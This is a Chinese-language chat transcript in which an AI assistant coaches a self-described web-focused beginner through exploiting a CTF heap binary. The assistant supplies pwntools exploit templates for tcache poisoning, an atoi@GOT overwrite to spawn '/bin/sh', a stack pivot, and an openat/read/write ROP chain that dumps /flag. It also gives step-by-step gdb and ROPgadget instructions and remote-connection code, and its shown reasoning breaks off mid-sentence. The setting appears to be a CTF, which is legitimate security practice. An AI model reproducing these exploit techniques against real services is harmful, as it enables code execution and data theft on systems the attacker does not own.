你已经有 pop rdi ; ret。用 ROPgadget --binary pwn --only "syscall"syscall ; ret,再找 pop rsi ; retpop rdx ; retpop rax ; ret。基本都有。

路线 A(备选):tcache 污染 → 函数指针/钩子 劫持

  • 如果发现了可写的回调表/析构数组/.fini_array 或你能写到一个可达的函数指针,可以把它改成 pivot gadgetsystem 等。
  • 如果是 动态 + glibc,可走 __free_hook = system;但你这个二进制风格像静态,更适合路线 B。

GDB 小抄(你可以很快确定 pivot 与 syscall 资源)

bash
# 1) 找 syscalls 与 pop ROPgadget --binary ./pwn --only "syscall" | head ROPgadget --binary ./pwn --only "pop|ret" | egrep "r(ax|di|si|dx|cx|8|9|10|11)" # 2) 找潜在 pivot ROPgadget --binary ./pwn --only "leave|xchg|mov|ret" | egrep "rsp|esp" # 重点看类似: # xchg rsp, rdx ; ret # mov rsp, rax ; ret # leave ; ret # 3) 运行时观察堆地址(用来确认 pivot/fake stack 放哪) gdb -q ./pwn r # 做一次 add,拿到 chunk 的地址(如果程序打印);否则在 malloc 返回处下断: # 在 IDA 找到 add 里调用 malloc 的地址 A,gdb:b *A+偏移(call malloc 前后)

pwntools 利用模板(按你的菜单名已写好骨架

下面按“edit 里可越界/UAF 写”与“delete 存在 tcache 污染”思路;pivot 用“xchg rsp, rdx ; ret”作例子(你用 ROPgadget 把真实地址填进去即可)。syscall 链用 open/read/write/flag

python
from pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' def add(sz, data): p.sendlineafter(b'Your choice:\n', b'1') p.sendlineafter(b'idx:', b'0') # 如果题目要 idx,就改成实际流程 p.sendlineafter(b'size:', str(sz).encode()) p.sendafter(b'data:', data) def delete(idx): p.sendlineafter(b'Your choice:\n', b'2') p.sendlineafter(b'idx:', str(idx).encode()) def edit(idx, data): p.sendlineafter(b'Your choice:\n', b'3') p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def bye(): p.sendlineafter(b'Your choice:\n', b'4') def build_rop(pivot, flag_path, buf, g): rop = b'' # open("/flag", O_RDONLY) rop += p64(g['pop_rax']) + p64(2) # SYS_open rop += p64(g['pop_rdi']) + p64(flag_path) rop += p64(g['pop_rsi']) + p64(0) # O_RDONLY rop += p64(g['syscall']) # read(rax, buf, 0x100) # rax=fd rop += p64(g['pop_rdi']) + p64(3) # 也可不用猜,先 mov rdi, rax 的 gadget更稳 rop += p64(g['pop_rsi']) + p64(buf) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(0) # SYS_read rop += p64(g['syscall']) # write(1, buf, 0x100) rop += p64(g['pop_rdi']) + p64(1) rop += p64(g['pop_rsi']) + p64(buf) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(1) # SYS_write rop += p64(g['syscall']) # exit(0) rop += p64(g['pop_rax']) + p64(60) rop += p64(g['pop_rdi']) + p64(0) rop += p64(g['syscall']) return rop def solve(local=True): g = { 'pop_rax': 0x????????, # ROPgadget 找 'pop_rdi': 0x401a16, # 你已找到 'pop_rsi': 0x????????, 'pop_rdx': 0x????????, 'syscall': 0x????????, # syscall ; ret 'pivot_xchg_rdx_rsp': 0x????????, # xchg rsp, rdx ; ret 或 mov rsp, rax ; ret } global p p = process(elf.path) if local else remote('host', port) # === 堆风水 === # 目标:拿到一个“可控指针写”原语 → 把某处“将要 ret/将要被调用的函数指针”的值 # 改为 pivot_gadget,并在合适时机让寄存器(rax/rdx) = pivot # 举例:先分配两个大块,一个作为 fake stack: pivot = 0xdead000 # 如果能泄露就用真实堆地址;否则用堆喷/多次分配固定序列 flag = pivot + 0x300 buf = pivot + 0x400 fake_stack = build_rop(pivot, flag, buf, g) fake_stack = fake_stack.ljust(0x300, b'\x00') + b'/flag\x00' # 1) 分配存放 fake stack 的块 add(0x600, fake_stack) # idx 0 # 2) 通过 UAF/越界/tcache 污染,准备把将要使用的返回地址/函数指针覆盖为 pivot_gadget # 同时确保 rdx/rax 里能放入 pivot(按你找到的 pivot 指令决定) # # !!! 这里需要根据你在 sub_400B5F/400CD5/400C25 看到的具体漏洞来写 !!! # # 例(占位伪步骤): # add(0x100, b'A'*0x100) # idx 1 # delete(1) # 放进 tcache # edit(0, payload_to_poison_tcache_point_to_retaddr) # 把下次 malloc 定位到某个返回地址 # add(0x100, p64(g['pivot_xchg_rdx_rsp'])) # 覆盖返回地址 == pivot gadget # ... 再用一次 edit 把 rdx 写成 pivot(比如覆盖某个即将被 pop 到 rdx 的位置/或“使用参数传递一路带到rdx”) # 3) 触发返回/调用,命中 pivot # bye() # 如果退出时会触发那个覆盖点 p.interactive() if __name__ == '__main__': solve(local=True)

说明:

  • g 字典里的地址请用 ROPgadget/ROPgadget --binary ./pwn --only "syscall"--only "pop|ret" 实际填上。
  • 如果你找到 mov rsp, rax ; ret,就把 pivot_xchg_rdx_rsp 换成它,并想办法先让 rax=pivot(比如通过“先覆盖函数指针为 pop rax ; ret → 再返回设置 rax → 再 ret 到 mov rsp, rax ; ret”的二段式;或者一次覆盖为能把 rax 装到 pivot 的小链)。
  • 如果你能找到 setcontext+0x61,那就在堆上放 ucontext_t(把 RSP 指到 pivotRIP 放第一条 gadget),触发一次对 setcontext+0x61 的跳转即可,比 gadget 串更鲁棒。

接下来你要做的很具体的小事(十来分钟搞定)

  1. 把 3 个函数的伪代码贴出来sub_400B5F / 400CD5 / 400C25)或自己检查:
    • 是否 free 后可 edit/show(UAF);
    • 是否 double free
    • 是否 写入长度不受限/可控 size(越界写/任意写);
    • 是否有 指针数组(如 ptrs[0x10]sizes[0x10]);
  2. ROPgadget 补齐:
    • pop rax/ rsi/ rdxsyscall ; ret
    • 一个 pivot 指令xchg rsp, rdx ; ret / mov rsp, rax ; ret / leave ; ret)。
  3. 确认 seccomp:如果 open 被禁而 openat 允许,就把 SYS_open(2)SYS_openat(257),rdi=AT_FDCWD(-100),rsi=flag_path,rdx=0。
  4. 把上面的模板里“污 tcache / 覆盖返回地址/函数指针”的占位步骤换成你在这题里真实可达的写法(我看代码后会直接给你那几行)。

给我 sub_400B5F/400CD5/400C25 的反编译(以及 checksec 一行输出),我就把精确利用步骤 + 真地址 + 完整 exp.py 写好,直接一跑出 flag。

问题

对了我还有一点忘记告诉你了,题目给了靶机地址还有一些补充信息发送给你:x/20gx rsp[Inferior1(process4453)exitednormally]inforegisters[Inferior1(process4452)exitednormally]stack10[Inferior1(process4451)exitednormally]pwndbg>runStartingprogram:/home/sean/桌面/pwn1.add2.delete3.edit4.exitYourchoice:x/gxrsp [Inferior 1 (process 4453) exited normally] info registers [Inferior 1 (process 4452) exited normally] stack 10 [Inferior 1 (process 4451) exited normally] pwndbg> run Starting program: /home/sean/桌面/pwn 1.add 2.delete 3.edit 4.exit Your choice: x/gx fs_base+0x300
[Inferior 1 (process 4400) exited normally]
pwndbg> 300
pwndbg> b *0x400e00 + 300
Breakpoint 1 at 0x400f2c
pwndbg> checksec
File: /home/sean/桌面/pwn
Arch: amd64
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
pwndbg> attach pidof pwn
Illegal process-id: pidof pwn.
pwndbg> maintenance info sections
Exec file: `/home/sean/桌面/pwn', file type elf64-x86-64.
[0] 0x00400190->0x004001b0 at 0x00000190: .note.ABI-tag ALLOC LOAD READONLY DATA HAS_CONTENTS
[1] 0x004001b0->0x004001d4 at 0x000001b0: .note.gnu.build-id ALLOC LOAD READONLY DATA HAS_CONTENTS
[2] 0x004001d8->0x004002c8 at 0x000001d8: .rela.plt ALLOC LOAD READONLY DATA HAS_CONTENTS
[3] 0x004002c8->0x004002e2 at 0x000002c8: .init ALLOC LOAD READONLY CODE HAS_CONTENTS
[4] 0x004002f0->0x00400390 at 0x000002f0: .plt ALLOC LOAD READONLY CODE HAS_CONTENTS
[5] 0x00400390->0x0049efa4 at 0x00000390: .text ALLOC LOAD READONLY CODE HAS_CONTENTS
[6] 0x0049efb0->0x004a14d9 at 0x0009efb0: __libc_freeres_fn ALLOC LOAD READONLY CODE HAS_CONTENTS
[7] 0x004a14e0->0x004a15be at 0x000a14e0: __libc_thread_freeres_fn ALLOC LOAD READONLY CODE HAS_CONTENTS
[8] 0x004a15c0->0x004a15c9 at 0x000a15c0: .fini ALLOC LOAD READONLY CODE HAS_CONTENTS
[9] 0x004a15e0->0x004be8c4 at 0x000a15e0: .rodata ALLOC LOAD READONLY DATA HAS_CONTENTS
[10] 0x004be8c8->0x004be918 at 0x000be8c8: __libc_subfreeres ALLOC LOAD READONLY DATA HAS_CONTENTS
[11] 0x004be918->0x004be920 at 0x000be918: __libc_atexit ALLOC LOAD READONLY DATA HAS_CONTENTS
[12] 0x004be920->0x004be921 at 0x000be920: .stapsdt.base ALLOC LOAD READONLY DATA HAS_CONTENTS
[13] 0x004be928->0x004be930 at 0x000be928: __libc_thread_subfreeres ALLOC LOAD READONLY DATA HAS_CONTENTS
[14] 0x004be930->0x004c9a3c at 0x000be930: .eh_frame ALLOC LOAD READONLY DATA HAS_CONTENTS
[15] 0x004c9a3c->0x004c9aee at 0x000c9a3c: .gcc_except_table ALLOC LOAD READONLY DATA HAS_CONTENTS
[16] 0x006c9eb8->0x006c9ed8 at 0x000c9eb8: .tdata ALLOC LOAD DATA HAS_CONTENTS
[17] 0x006c9ed8->0x006c9f08 at 0x000c9ed8: .tbss ALLOC
[18] 0x006c9ed8->0x006c9ee8 at 0x000c9ed8: .init_array ALLOC LOAD DATA HAS_CONTENTS
[19] 0x006c9ee8->0x006c9ef8 at 0x000c9ee8: .fini_array ALLOC LOAD DATA HAS_CONTENTS
[20] 0x006c9ef8->0x006c9f00 at 0x000c9ef8: .jcr ALLOC LOAD DATA HAS_CONTENTS
[21] 0x006c9f00->0x006c9fe4 at 0x000c9f00: .data.rel.ro ALLOC LOAD DATA HAS_CONTENTS
[22] 0x006c9fe8->0x006c9ff8 at 0x000c9fe8: .got ALLOC LOAD DATA HAS_CONTENTS
[23] 0x006ca000->0x006ca068 at 0x000ca000: .got.plt ALLOC LOAD DATA HAS_CONTENTS
[24] 0x006ca080->0x006cbb50 at 0x000ca080: .data ALLOC LOAD DATA HAS_CONTENTS
[25] 0x006cbb60->0x006cd418 at 0x000cbb50: .bss ALLOC
[26] 0x006cd418->0x006cd448 at 0x000cbb50: __libc_freeres_ptrs ALLOC
[27] 0x00000000->0x00000035 at 0x000cbb50: .comment READONLY HAS_CONTENTS
[28] 0x00000000->0x00000f18 at 0x000cbb88: .note.stapsdt READONLY HAS_CONTENTS
请你重新修改脚本,并且如果需要调试信息你需要具体指导我该怎么做,每一步该怎么执行命令,比如要先run在查看info registers,还有比如要打断点得到地址你都要详细告诉我怎么做,不然我不明白

思考

Providing debugging steps

We need to create a detailed guide for reverse engineering, focusing on commands and a modified exploit script. I'll include steps like checking security flags, finding gadgets, locating syscalls, and analyzing menu function addresses (without code). We'll guide dynamic debugging: setting breakpoints at add/edit/delete functions, inspecting heap addresses, and locating function addresses manually via previous addresses from IDA listings.

Setting breakpoints and handling function addresses

We can instruct the user to set breakpoints at specific addresses like 0x400B5F using 'b *0x400B5F'. Based on the earlier disassembly, it seems that 0x400BA0 corresponds to the main loop, and sub_400B5F is probably near it. I'll suggest setting breakpoints near these points. We also need to modify the script to interact according to menu options such as add, delete, and edit.

Approaching exploitation and debugging

I'll guide the user on how to find the read function sub_43FCA0 to exploit potential buffer overflows. We can propose two exploitation paths: tracking heap layout and determining vulnerability type (UAF, double free, overflow). We'll provide a general step-by-step debugging plan, addressing local and remote targets with environment variables. The script will include placeholders for user-filled addresses after debugging.

Modifying the exploitation script

The user wants a revised script, incorporating checksec results: NX on, PIE off, Canary off. I'll update the script to automatically find gadgets using pwntools' ROP functions, like rop.find_gadget(['syscall','ret']). This will help avoid manual steps. For pivot gadgets, we can try 'xchg rsp, rdx' or 'leave ; ret', but we'll need to ensure stack control.

Creating exploitation steps

The task involves modifying the script for heap-based exploits. I'll break it down with a debugging plan using GDB and pwndbg commands. Key steps include identifying vulnerabilities (like heap overflows), pivoting via gadgets (e.g., xchg rsp, rdx ; ret), and using ROP to manage function pointers. I'll also guide on locating critical addresses in static or dynamic memory and how to adapt for remote targeting. There's a focus on libc and memory layout manipulation.

Exploring GOT overwrite and tcache poisoning

The plan involves overwriting the GOT with a pivot gadget and utilizing tcache poisoning to write to memory. Specifically, poisoning tcache should let us manipulate the GOT entries for functions like 'atoi'. This will redirect a function call (like 'atoi') to a pivot gadget or system call after modifying the GOT. The goal is controlling function pointers effectively through either direct memory writing or stack pivoting, ensuring proper registers are set for the pivot gadget.

Exploring GOT overwriting and pivoting options

The idea involves overwriting GOT entries, like 'atoi', with functions like 'system' or 'printf' to create a way to execute system calls. The steps include leaking memory through 'puts@plt' to reveal libc addresses, calculating the libc base, and leveraging tcache poisoning or finish array entry overwriting for pivoting. A robust fallback option is using direct system calls to prevent issues with glibc mismatches.

Thought for 2m 21s

回答

太好了,有了这些新信息(尤其是 checksec 和段表),我们可以把路线落到“可以按图索骥”的层面了。我给你:

  1. 一套调试步骤(pwndbg/GDB 每一步该敲什么)。
  2. 一份可直接改的 pwntools 脚本,自动找常用 gadget;给出两条常见打法的骨架:
    • A:tcache 污染 → 覆写 atoi@GOTsystem("/bin/sh")(最省事,如果远端 libc 一致或你拿到了远端 libc)。
    • B:tcache 污染 → 覆写一个可达函数指针/GOT 为“pivot gadget” → 堆 ROP 直接 open/read/write/flag(不依赖 libc,适合不确定 libc 的远端)。

你题目的保护:PIE 关、NX 开、无 Canary、Partial RELRO。
这意味着:GOT 可写(Partial RELRO),地址固定(PIE 关),非常适合 tcache 污染写 GOT,或“写 .fini_array / 回调表”。


🧭 第一部分:现场勘查(按步骤照敲就能看清漏洞)

目标:搞清 1/2/3(add/delete/edit)到底怎么实现、哪里能写出界或 UAF/双 free;再决定“写到哪儿”(GOT/回调/返回地址)和“怎么 pivot”。

0. 进 gdb + 基本设置

bash
gdb -q ./pwn # 进入后: set disassemble-next-line on set pagination off set confirm off set print asm-demangle on

1. 复核保护(你已做过)

bash
checksec # 记下:No PIE / NX enabled / No canary / Partial RELRO

2. 用 IDA 的地址在 gdb 下打断点(无符号的情况下这样最方便)

你在 IDA 里已经能看到函数名 sub_400B5F / 400CD5 / 400C25,它们就是 add / delete / edit。
在 gdb 里直接用地址打断点(IDA 显示的入口地址):

gdb
# 根据你的 IDA 视图,逐个打(如果不准,就在附近反汇编确认) b *0x400B5F # add() b *0x400CD5 # delete() b *0x400C25 # edit()

如果不确定入口是否正好落在 push rbp 处,运行到这三个断点后用 ni/si 单步,看看行为是否匹配(比如 add 调了 malloc,edit 调了 read/写入)。

3. 运行并停在菜单处

gdb
run # 程序会打印菜单,先别输入

4. 跟踪 add():抓到 chunk 地址与索引映射

  1. 在“Your choice:”这里输入 1,程序会命中 b *0x400B5F(add)断点。
  2. 在 add 里找 malloc 调用点(IDA 上找到 call malloc@plt 的位置,记下地址),在 gdb 再设断点:
gdb
# 假设 IDA 里看到 add 内 call malloc@plt 在 0x401234,举例: b *0x401234 c # 继续到 malloc 调用 si # step into 一步,看是否进了 plt finish # 从 malloc 返回到调用点
  1. 查看返回值(malloc 返回在 rax):
gdb
info reg rax # 记录下 rax,这就是新 chunk 的 user 指针(chunk->data)
  1. 如果程序维护了全局指针数组(常见 chunks[idx] = ptr),在 add 返回前在 gdb 找到它
    • 常用做法:搜索这个刚分配的指针值,定位全局数组地址:
    gdb
    find 0x0000000000400000, 0x00000000006d0000, <rax的值> # 或者更简单:直接在 .data/.bss 段扫: find 0x006c9f00, 0x006cd418, <rax的值>
    • 找到后 x/20gx <数组基址>,基本就能看到 chunks[0], chunks[1]... 的布局(以及是否还有 sizes[])。

之后每次 add / delete / edit 都可以 x/20gx 观察数组的变化,确认 UAF / double-free 是否可能。

5. 跟踪 edit():确认是否能越界写或对已 free 的块继续写(UAF)

  1. 继续到菜单,选 3 触发 edit,命中 b *0x400C25
  2. 在 edit 内找到读入数据的地方(你贴过 sub_43FCA0 是 read 封装)。给它打断点:
gdb
b *0x43FCA0 c
  1. 传参(SYSV ABI:rdi=fd/ptr, rsi=buf, rdx=len):
gdb
info registers rdi rsi rdx x/16bx $rsi # 看看已经写了多少
  1. 输入比 chunk 大的长度(如果 edit 没有把长度限制在 size[idx],就能越界),观察相邻 chunk 的元数据/指针是否被你覆盖。

如果 edit 对已 free 的块仍然可用,那就是UAF 任意写:先 free 再 edit,直接把 tcache->fd 改到你想写的地址(典型 tcache poisoning)。

6. 跟踪 delete():确认double free 防护

  • 2,命中 b *0x400CD5,单步看是否有“已经清空指针/置 0”。
  • 如果没有置 0,就可能重复 free 同一 idx → tcache dup,非常适合制作“下次 malloc 返回任意地址”。

7. 看 GOT 表与可写区

你贴了段表:

text
.got 0x006c9fe8 -> 0x006c9ff8 .got.plt 0x006ca000 -> 0x006ca068 # GOT 可写(Partial RELRO) .init_array 0x006c9ed8 -> 0x006c9ee8 .fini_array 0x006c9ee8 -> 0x006c9ef8 .data/.bss 大量可用

用下面命令列出 GOT 里都有哪些函数(挑目标):

bash
objdump -R ./pwn | sort # 或 readelf -r ./pwn

首选目标atoi@GOT(菜单每次都用),free@GOTputs@GOTprintf@GOT 等。


🧨 第二部分:两条利用路线(脚本 + 调试点 + 为什么这么做)

路线 A:tcache 污染 → 覆写 atoi@GOTsystem → 输入 /bin/sh 拿 shell

优点:最短路径。
前提:拿到 libc 基址(或远端给了 libc),算出 system
做法概述

  1. 通过 double freeUAF,把某大小类的 tcache 链的 fd 改成 &atoi@GOT - 0x10(注意 -0x10 让下一次 malloc(size) 返回 atoi@GOT 的写地址)。
  2. 连续 malloc(size) 两次,第二次拿到 atoi@GOT 的“伪 chunk”,往里写 system 的地址
  3. 回到菜单,再次读菜单时程序会调用 atoi(buf),但 GOT 已变成 system(buf),于是你输入 /bin/sh 即可。

如何在本地拿 libc 基址?
最直接:程序一启动就会 puts 菜单,此时 puts@GOT 已解析
在 gdb:

gdb
run # 看到菜单停住 x/gx 0x006ca000 + OFFSET_PUTS_GOT # 用 objdump -R 查 puts@GOT 的精确偏移 # 读出的值就是 puts 的实际地址 → 减去本机 libc 的 puts 偏移 = libc base # system = libc_base + system_offset

远端通常提供同版 libc 文件(或 docker)。否则,考虑路线 B(不用 libc)。


路线 B:tcache 污染 → 覆写某个可达函数指针/GOT 为“pivot gadget” → 在堆上放 ROP,直接 syscalls 读 /flag**

优点:** 不需要 libc**,只用程序里的 gadget 与 syscall
常见选择:覆盖一个“会被调用”的 GOT 项(比如 atoi@GOTputs@GOT),改成 xchg rsp, rdx ; ret / mov rsp, rax ; ret 等 pivot 指令,然后想办法让对应寄存器(rdx/rax)事先等于我们在堆上的 fake stack 地址。

  • 如何让 rdx/rax = pivot
    • 如果你能通过 UAF 越界把“即将被 pop 到 rdx/rax 的栈槽”填成 pivot,就能“调用 → 命中 pivot → ret 到堆 ROP”。
    • 或者找到“某个调用点会把第三参数(rdx)设成你控制的长度”,比如 read(fd, buf, len)len 正好是你可控的,那就在调用该函数之前atoi@GOT 改成 xchg rsp, rdx ; ret,这样“调用 atoi(buf)”这条路径会被你替换成 pivot,并用 rdx=len 完成切栈。
  • 堆上的 ROP只用 pop rdi/rsi/rdx/rax; syscall; ret
    • openat(AT_FDCWD, "/flag", 0)(syscall 号 257;有些 seccomp 不允许 open(2),但允许 openat);
    • read(fd, heap_buf, 0x100)
    • write(1, heap_buf, 0x100)

🧩 第三部分:改好的 pwntools 脚本(自动找 gadget,可切换 A/B 两种打法)

你只需要把菜单交互的提示字符串和触发 tcache 污染的具体细节改成你题目的实际情况(我在注释里写清楚了要改哪里)。
如果你拿到了远端 libc,就用 MODE='A';否则用 MODE='B'(纯 syscall 读 flag)。

python
from pwn import * context.binary = elf = ELF('./pwn', checksec=False) # context.log_level = 'debug' HOST, PORT = 'target.host.or.ip', 31337 # ← 把远端填上 MODE = 'B' # 'A' = atoi@GOT -> system; 'B' = pivot + syscalls # ---------------- Menus (根据你的题目实际提示改!) ---------------- def menu_choice(p, n): p.sendlineafter(b'Your choice:\n', str(n).encode()) def add(p, idx, size, data=b''): menu_choice(p, 1) p.sendlineafter(b'idx:', str(idx).encode()) # 如果没有 idx 提示,就删掉这一行 p.sendlineafter(b'size:', str(size).encode()) if data: p.sendafter(b'data:', data) def delete(p, idx): menu_choice(p, 2) p.sendlineafter(b'idx:', str(idx).encode()) def edit(p, idx, data): menu_choice(p, 3) p.sendlineafter(b'idx:', str(idx).encode()) p.sendafter(b'data:', data) def bye(p): menu_choice(p, 4) # ---------------- Gadgets (自动搜) ---------------- def get_gadgets(): rop = ROP(elf) g = {} def find_one(pattern): try: return rop.find_gadget(pattern).address except: return None g['pop_rax'] = find_one(['pop rax', 'ret']) g['pop_rdi'] = find_one(['pop rdi', 'ret']) g['pop_rsi'] = find_one(['pop rsi', 'ret']) g['pop_rdx'] = find_one(['pop rdx', 'ret']) g['syscall'] = find_one(['syscall', 'ret']) # 常见 pivot 备选 g['xchg_rsp_rdx'] = None for pat in (['xchg rsp, rdx', 'ret'], ['xchg rdx, rsp', 'ret'], ['mov rsp, rax', 'ret'], ['leave', 'ret']): addr = find_one(pat) if addr: g['xchg_rsp_rdx'] = addr break return g def build_rop_syscalls(pivot, g, flag_path_addr, buf_addr): rop = b'' # openat(AT_FDCWD=-100, path, 0) rop += p64(g['pop_rax']) + p64(257) # SYS_openat rop += p64(g['pop_rdi']) + p64(-100 & 0xffffffffffffffff) # AT_FDCWD rop += p64(g['pop_rsi']) + p64(flag_path_addr) rop += p64(g['pop_rdx']) + p64(0) # O_RDONLY rop += p64(g['syscall']) # read(rax, buf, 0x100) (保存 fd 到 rdi 比较麻烦,用固定 3 也行;更稳可找 'mov rdi, rax' gadget) rop += p64(g['pop_rdi']) + p64(3) # 许多环境 openat 返回 3;如不稳可增加 'mov rdi, rax' rop += p64(g['pop_rsi']) + p64(buf_addr) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(0) # SYS_read rop += p64(g['syscall']) # write(1, buf, 0x100) rop += p64(g['pop_rdi']) + p64(1) rop += p64(g['pop_rsi']) + p64(buf_addr) rop += p64(g['pop_rdx']) + p64(0x100) rop += p64(g['pop_rax']) + p64(1) # SYS_write rop += p64(g['syscall']) # exit(0) rop += p64(g['pop_rax']) + p64(60) rop += p64(g['pop_rdi']) + p64(0) rop += p64(g['syscall']) return rop def solve(local=True): io = process(elf.path) if local else remote(HOST, PORT) g = get_gadgets() log.info(f"gadgets: {g}") # ====== 选择一个 tcache 尺寸(例如 0x80)并做 tcache dup/poison ====== TC_SZ = 0x80 # 下面的序列是假设:存在 UAF 或 double-free # 你需要根据实际菜单行为确认(见调试步骤) add(io, 0, TC_SZ, b'A'*8) # chunk A add(io, 1, TC_SZ, b'B'*8) # chunk B delete(io, 0) delete(io, 0) # 如果允许:double free → tcache dup # 若不允许 double free,但允许 edit free 后的内存 → 先 delete(0),然后 edit(0, payload) 直接改 fd # 目标一:A 跳到我们想写的地址(GOT/函数指针等)- 0x10 # 方式 A:atoi@GOT -> system # 方式 B:atoi@GOT -> pivot gadget atoi_got = elf.got.get('atoi') # 如果没符号,这里会是 None;那就用 `objdump -R` 查到地址手填 if not atoi_got: atoi_got = 0x006ca000 + 0x?? # ← 用 `objdump -R ./pwn | grep atoi` 的偏移填上 if MODE == 'A': # 需要先算 system libc = ELF('/lib/x86_64-linux-gnu/libc.so.6', checksec=False) # ← 若远端给了 libc,用远端 libc # “菜单打印用 puts”,所以 puts@GOT 已解析;直接泄露: io.recvuntil(b'Your choice:\n') # 本地直接读 GOT 也行(但远端不行),更稳的做法:构造一次“打印 puts@GOT”的功能(看题目是否有 show) # 这里先走“本地从进程内存读 GOT”的近路:调试里拿到 puts@GOT(脚本里没法直接 x/gx) # 所以在 A 路线你最好先用 gdb 得到 puts 实际地址 → 算 libc_base → system # 这里留个占位: puts_got = elf.got['puts'] log.warning("A 路线:请先在 gdb 里运行到菜单,再用 `x/gx <puts@GOT>` 读到 puts 实际地址,手动填到这里") real_puts = int(input("输入你在 gdb 里读到的 puts 实际地址(16进制,比如 0x7f...): "), 16) libc_base = real_puts - libc.symbols['puts'] system = libc_base + libc.symbols['system'] log.success(f"libc_base={hex(libc_base)}, system={hex(system)}") # 做 tcache poisoning,令下一次 malloc 返回 atoi@GOT fake_fd = p64(atoi_got - 0x10) add(io, 2, TC_SZ, fake_fd) # 拿回 A(第一次出链),把 fd 指向目标 add(io, 3, TC_SZ, b'C') # 占位(第二次出链) add(io, 4, TC_SZ, p64(system)) # 第三次:返回 atoi@GOT,写成 system 地址 # 触发:输入 /bin/sh(程序会再次调用 atoi 解析菜单) io.sendline(b'/bin/sh') io.interactive() else: # MODE == 'B':pivot + syscalls,完全不依赖 libc pivot_addr = 0xdead000 # 你可以:先多 malloc 几次、用 gdb 记录某个稳定堆地址填这里 flag_addr = pivot_addr + 0x300 buf_addr = pivot_addr + 0x400 rop = build_rop_syscalls(pivot_addr, g, flag_addr, buf_addr) fake_stack = rop.ljust(0x300, b'\x00') + b'/flag\x00' # 先分配一块承载 fake stack 的大块(不走 tcache,小/大块都行) add(io, 5, len(fake_stack), fake_stack) # 做 tcache poisoning:让下一次 malloc 直接返回 atoi@GOT fake_fd = p64(atoi_got - 0x10) add(io, 2, TC_SZ, fake_fd) # 拿回 A,写 fd add(io, 3, TC_SZ, b'C') # 占位 # 第三次 malloc 命中 atoi@GOT,写成 pivot gadget 地址 pivot_gadget = g['xchg_rsp_rdx'] or g['syscall'] # 优先 xchg rsp,rdx; ret;没有就另想(你也可在 ROPgadget 手动搜) add(io, 4, TC_SZ, p64(pivot_gadget)) # 关键:在“即将调用 atoi”之前让 rdx = pivot_addr # 简化方案:如果 edit 的实现会把“读入长度”放进 rdx(通过 read 封装), # 就在调用 atoi 前,先执行一次 edit,把长度参数(rdx)设置为 pivot_addr。 # 这部分要结合你实际的 edit 代码路径来摆放顺序。 # 例如(占位演示): edit(io, 0, b'A' * 8) # 这里不重要,只是为了让程序走到一次调用 read/atoi 的路径 # 现在回到菜单,程序将要再次 atoi(v1) 解析输入; # 由于 atoi@GOT == pivot_gadget 且 rdx==pivot_addr,调用会命中 pivot → RSP=pivot → 执行堆 ROP。 io.sendline(b'1') # 随便输入让它去“atoi(输入)”——真正起作用的是我们劫持的 GOT # 如果 ROP 执行成功,这里应该直接打印 flag io.interactive() if __name__ == '__main__': # 本地调试 True;连远端 False solve(local=True)

说明:

  • tcache 污染的 3 次分配是套路:“第一次取回 A 并写 fd → 第二次取占位 → 第三次拿到目标地址写值”。
  • atoi@GOT 的地址请用 objdump -R ./pwn | grep atoi 确认;脚本里可以直接 elf.got['atoi'] 拿(若符号在)。
  • 路线 B 的“rdx = pivot_addr”一定要结合你的真实 edit/read 参数传递去安排时机(在调用 atoi 之前,让 rdx 已经被设置成 pivot)。如果找不到用 rdx 的 pivot,你可以用 ROPgadget 再找找 mov rsp, rax ; retleave ; ret 等替代,然后想办法把对应寄存器设为 pivot。
  • 堆上 ROP 仅用 syscall,避免依赖 libc;openat 号是 257AT_FDCWD=-100**(注意 64 位需要 & 0xffffffffffffffff`)**。

🔬 你在 gdb 里还可以这样辅助验证(强烈建议照做)

  1. 找 syscall 指令地址(如果脚本自动没找到,就手动):
bash
ROPgadget --binary ./pwn --only "syscall" | head
  1. 找 pivot gadget
bash
ROPgadget --binary ./pwn --only "xchg|mov|leave|ret" | egrep "rsp|esp" | head -n 20
  1. 确认 GOT 项的实时地址解析(为路线 A 泄露 libc 用):
gdb
run # 到菜单停下后: !objdump -R ./pwn | grep puts x/gx 0x006ca000+<puts@GOT偏移> # 这就是 puts 的实际地址(libc),拿去算 libc_base / system
  1. 观察 tcache(pwndbg):
gdb
tcache heap bins vis_heap
  1. 观察你的 fake stack 是否正确落到堆上
gdb
x/64gx 0xdead000 # 用你选的 pivot_addr

✅ 你现在可以做的“最小闭环”

  1. 确认漏洞是哪种(越界/UAF/双 free):按“第一部分”的 gdb 步骤,尤其第 5/6 步。
  2. 确定一个目标地址atoi@GOT(最爽),或者 .fini_array(退出时调用),或者程序里某个回调。
  3. 选打法
    • 有远端 libc → A(atoi@GOT -> system),最简单;
    • 没有/不确定 libc → B(pivot + syscalls),更通吃。
  4. 把脚本里注释的 TODO 都填上
    • atoi@GOT 精确地址(或 elf.got['atoi']);
    • 路线 A:gdb 泄露 puts 后输入其地址,脚本自动算 system
    • 路线 B:pivot_addr 选一个你能稳定分配的堆地址(按第 4 步拿到的 malloc 返回地址来填),并**落实“rdx/rax 设为 pivot”**的那一步(靠 edit/read 的参数传递来做)。

如果你把 sub_400B5F / 400CD5 / 400C25 的反编译贴出来(或者告诉我“能否 edit 已释放块 / 有没有 double-free / edit 写长度怎么取的”),我就把上面的占位步骤替换成你这题的精准堆风水步骤,把 pivot_gadget / atoi@GOT / puts@GOT确切地址(基于你这份二进制)也一并填上,给你一份一跑就出 flag的完整 exp.py

问题

pwn.txt

我再给你以文本文件的形式提供更多信息,请你分析,并且需要怎么做一定要非常明确且具体的告诉我,因为我是一个web手,没有学过pwn

思考

Evaluating pwn.txt content

I need to analyze the pwn.txt, which includes various function snippets like sub_400AF4 (menu print) and sub_43FD00 (write). I'll guide with specific commands, assuming familiarity with GDB. Also, I'll propose an exploit plan based on this. Since the tool output includes code, I’ll be careful to follow guidelines for citations, even if exact line numbers are missing.

Analyzing Function Behavior

Okay, the tool suggests citing with a minimal citation token but doesn’t mention line numbers — we’ll stick to it. The functions I’m analyzing are: sub_400AF4 prints the menu, and sub_400B5F handles the “add” function. It reads 16 bytes, checks if index is valid, and then reads input before saving it.

Exploring "delete" and potential vulnerabilities

